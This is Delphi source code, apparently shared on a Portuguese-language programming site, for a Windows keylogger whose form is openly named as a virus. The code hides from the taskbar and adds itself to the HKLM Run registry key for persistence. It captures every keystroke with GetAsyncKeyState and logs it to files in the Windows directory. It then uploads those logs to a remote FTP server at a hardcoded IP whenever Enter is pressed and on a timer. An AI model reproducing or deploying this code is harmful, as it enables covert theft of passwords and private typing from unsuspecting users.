Código
//osmanobrito@ibest.com.br
interface
uses
Windows,shellapi,Registry, wininet,mmsystem, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Buttons, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdFTP, ExtCtrls, StdCtrls, IdRawBase, IdRawClient, IdIcmpClient,ComCtrls, Menus, IdIntercept, IdAntiFreezeBase, IdAntiFreeze, IdLogBase, IdLogDebug, IdGlobal, IdLogEvent, IdFTPCommon, IdFTPList;
type
Tfrmnomedomeuvirus = class(TForm)
IdFTP1: TIdFTP;
Timer1: TTimer;
Memo1: TMemo;
c_texto: TMemo;
captura: TTimer;
pingador: TIdIcmpClient;
procedure FormCreate(Sender: TObject);
procedure capturaTimer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormPaint(Sender: TObject);
procedure FormShow(Sender: TObject);
function EstaVivo(IP: String): boolean;
procedure envia;
procedure Timer1Timer(Sender: TObject);
private
procedure WMQueryEndSession(var Msg : TWMQueryEndSession); message WM_QueryEndSession;
{ Private declarations }
public
{ Public declarations }
end;
var
frmnomedomeuvirus: Tfrmnomedomeuvirus;
nomedoarquivo,dirwin,s:string;
implementation
{$R *.dfm}
var contador:integer;
texto:tstringlist;
hora,data:string;
function WindowsDir : string;
var
WinDir : array[0..144] of char;
begin
GetWindowsDirectory(Windir,144);
result := StrPas(Windir);
end;
function NomeComputador : String;
var
lpBuffer : PChar;
nSize : DWord;
const Buff_Size = MAX_COMPUTERNAME_LENGTH + 1;
begin
nSize := Buff_Size;
lpBuffer := StrAlloc(Buff_Size);
GetComputerName(lpBuffer,nSize);
Result := String(lpBuffer);
StrDispose(lpBuffer);
end;
procedure Tfrmnomedomeuvirus.WMQueryEndSession(var Msg : TWMQueryEndSession);
begin
if MessageDlg('O Windows está sendo fechado. Perimitir?', mtConfirmation, [mbYes,mbNo], 0) = mrNo then
begin
Msg.Result := 0;
// envia;
end
else
begin
// envia;
Msg.Result := 1;
end;
end;
procedure Tfrmnomedomeuvirus.envia;
begin
hora:=timetostr(time);
hora:=hora[1]+hora[2]+hora[4]+hora[5]+hora[7]+hora[8];
data:= FormatDateTime('DD/MM/YY', Date);
data:=data[1]+ data[2]+data[4]+data[5]+data[7]+data[8];
nomedoarquivo := s+'_data'+data+'_hora'+hora+'.lst';//crio o nome do arquivo
C_Texto.Text:=memo1.Text;
texto.Add(C_Texto.Text) ;
texto.SaveToFile(dirwin+nomedoarquivo);
C_Texto.Text := '';
memo1.clear;
if EstaVivo('200.149.77.62') then //confiro aqui se consegue pingar no ftp
begin
// conecta no servidor
IdFTP1.Username := 'nomedousuarioftp';
IdFTP1.Password := 'senhadousuarioftp';
IdFTP1.Host := 'ftp.qualquersitequefornecaftp.com.br';
IdFTP1.Connect;
if IdFTP1.Connected then
begin
try
IdFTP1.MakeDir(S);
idFTP1.ChangeDir(s);
IdFTP1.TransferType := ftBinary; //busco o arquivo pelo nome
if fileexists(dirwin+nomedoarquivo) then IdFTP1.Put(dirwin+nomedoarquivo) ;
except
idFTP1.ChangeDir(s);
IdFTP1.TransferType := ftBinary; //busco o arquivo pelo nome
if fileexists(dirwin+nomedoarquivo) then IdFTP1.Put(dirwin+nomedoarquivo) ;
end;
end;
end;
IdFTP1.Quit;
end;
function Tfrmnomedomeuvirus.EstaVivo(IP: String): boolean;
begin
with Pingador do begin
Host := IP;
ReceiveTimeout := 500;
Ping;
if ReplyStatus.BytesReceived > 0 then
result := true
else
result := false;
end;
end;
procedure GravaRegistro(Raiz: HKEY; Chave, Valor, Endereco: string);
var
Registro: TRegistry;
begin
Registro := TRegistry.Create(KEY_WRITE); // Chama o construtor do objeto
Registro.RootKey := Raiz;
Registro.OpenKey(Chave, True); //Cria a chave
Registro.WriteString(Valor, '"' + Endereco + '"'); //Grava o endereço da sua aplicação no Registro
Registro.CloseKey; // Fecha a chave e o objeto
Registro.Free;
end;
procedure Tfrmnomedomeuvirus.FormCreate(Sender: TObject);
//Dados: TSHFileOpStruct;
begin
dirwin:=WindowsDir+'';
s:=nomecomputador;
texto:=tstringlist.Create;
//bloco que cria o documento na maquina se não existir e altera se existir
hora:=timetostr(time);
hora:=hora[1]+hora[2]+hora[4]+hora[5]+hora[7]+hora[8];
data:= FormatDateTime('DD/MM/YY', Date);
data:=data[1]+ data[2]+data[4]+data[5]+data[7]+data[8];
nomedoarquivo := s+'_data'+data+'_hora'+hora+'.lst';//crio o nome do arquivo
if fileexists(dirwin+nomedoarquivo)then
texto.LoadFromFile(dirwin+nomedoarquivo) else texto.SaveToFile(dirwin+nomedoarquivo);
Contador:=0;
//top:=-200;
//left:=-200;
Application.Icon.Empty;
SetWindowLong( Application.Handle, Gwl_ExStyle, Ws_Ex_ToolWindow );
//colocar função de autocopiar aqui.
try
GravaRegistro(HKEY_LOCAL_MACHINE, 'SoftwareMicrosoftWindowsCurrentVersionRun',
'IniciarPrograma', dirwin+'nomedomeuvirus.exe');
except
MessageDlg('Houve um erro ao gravar registro. Provavelmente você não tem essa permissão.', mtInformation, [mbOk], 0);
end;
end;
procedure Tfrmnomedomeuvirus.capturaTimer(Sender: TObject);
var i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : begin
memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
// memo1.text:=memo1.text+'[Bakspace]';
end;
9 : memo1.text:=memo1.text+' [Tab] ';
13 : begin //foi pressionado o enter
memo1.text:=memo1.text+ ' [Enter] '+#13#10; //Enter
envia;
end;
17 : memo1.text:=memo1.text+' [Ctrl] ';
27 : memo1.text:=memo1.text+' [Esc] ';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + ' [Page Up] ';
34 : memo1.text := Memo1.text + ' [Page Down] ';
35 : begin//foi pressionado o end o programa vai finalizar.
memo1.text := Memo1.text + ' [End] ';
application.Terminate;
end;
36 : memo1.text := Memo1.text + ' [Home] ';
//Arrow Up Down Left Right
// 37 : memo1.text := Memo1.text + '[Left]';
// 38 : memo1.text := Memo1.text + '[Up]';
//39 : memo1.text := Memo1.text + '[Right]';
//40 : memo1.text := Memo1.text + '[Down]';
44 : memo1.text := Memo1.text + ' [Print Screen] ';
45 : memo1.text := Memo1.text + ' [Insert] ';
46 : memo1.text := Memo1.text + ' [Del] ';
145 : memo1.text := Memo1.text + ' [Scroll Lock] ';
//Number 1234567890 Symbol !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+' [Num Lock] ';
112..123: //F1-F12
memo1.text:=memo1.text+' [F'+IntToStr(i - 111)+'] ';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
//texto.Free;
With frmnomedomeuvirus do
SetWindowPos(Handle, // "handle" para a janela
HWND_TOPMOST, // controla onde vai ficar a janela (*¹)
Left, // a posição horizontal
Top, // a posição vertical
Width, // a largura
Height, // a altura
// opções de posicionamento da janela
SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); // (*²)
end;
procedure Tfrmnomedomeuvirus.FormClose(Sender: TObject; var Action: TCloseAction);
begin
//envia;
end;
procedure Tfrmnomedomeuvirus.FormPaint(Sender: TObject);
begin
//ShowWindow(FindWindow(nil,'nomedomeuvirus'),SW_HIDE);
end;
procedure Tfrmnomedomeuvirus.FormShow(Sender: TObject);
begin
//Application.ShowMainForm := False;
end;
procedure Tfrmnomedomeuvirus.Timer1Timer(Sender: TObject);
begin
contador:=Contador+1 ;
if contador>=10000 then //a cada duas horas tenta enviar
begin
contador:=0;
Envia;
end;
end;
end.
Planeta Delphi - www.planetadelphi.com.br - Todos os direitos reservados | Copyright 2001-2009